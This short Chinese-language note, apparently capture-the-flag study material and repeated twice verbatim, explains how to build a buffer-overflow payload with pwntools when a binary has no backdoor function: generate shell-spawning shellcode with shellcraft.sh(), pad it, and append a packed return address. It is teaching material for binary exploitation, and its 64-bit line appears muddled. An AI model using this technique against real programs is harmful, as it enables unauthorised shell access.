当ida发现无get_shell后门函数时,可在虚拟机里面输入
python
shellcraft.sh()#用于生成shellcode
shellcode=asm(shellcraft.sh())
64位程序应该是asm(shellcraft.sh())
shellcode=shellcode.ljust(字符数, b'A')
接下来可以放心写payload
payload=shellcode+p32()
payload=shellcode+p64()
当ida发现无get_shell后门函数时,可在虚拟机里面输入
python
shellcraft.sh()#用于生成shellcode
shellcode=asm(shellcraft.sh())
64位程序应该是asm(shellcraft.sh())
shellcode=shellcode.ljust(字符数, b'A')
接下来可以放心写payload
payload=shellcode+p32()
payload=shellcode+p64()